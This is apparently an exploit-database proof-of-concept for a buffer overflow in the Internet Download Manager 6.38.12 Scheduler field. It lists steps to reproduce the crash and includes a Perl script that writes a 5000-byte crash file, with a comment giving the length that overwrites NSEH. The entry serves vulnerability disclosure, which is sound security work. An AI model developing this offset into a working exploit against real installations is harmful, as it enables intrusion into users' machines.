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Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)

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# Exploit Title: Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)
# Date: November 18, 2020
# Exploit Author: Vincent Wolterman
# Vendor Homepage: http://www.internetdownloadmanager.com/
# Software Link: http://www.internetdownloadmanager.com/download.html
# Version: 6.38.12
# Tested on: Windows 7 Professional SP 1 Build 7601; Windows 10 Home Build 19041

# Steps to reproduce crash:
# 1) Execute provided Perl code
# 2) Open IDMan_Crash.txt output file
# 3) Copy contents of text file to clipboard
# 4) Open Internet Download Manager 6.38
# 5) From the Menu bar -> Downloads -> Scheduler
# 6) Check the box for 'Open the following file when done:'
# 7) Paste the contents of IDMan_Crash.txt into the input field below
# 8) Click 'Apply' and observe the crash

#!/usr/bin/perl

$baddata = "\x41" x 1302;
$baddata .= "\x42" x 2; # this length overwrites NSEH on Windows 7 Pro SP 1
$baddata .= "\x43"x(5000-length($baddata));

$file = "IDMan_Crash.txt";
open (FILE, '>IDMan_Crash.txt');
print FILE $baddata;
close (FILE);

print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($baddata) . "\n";
            
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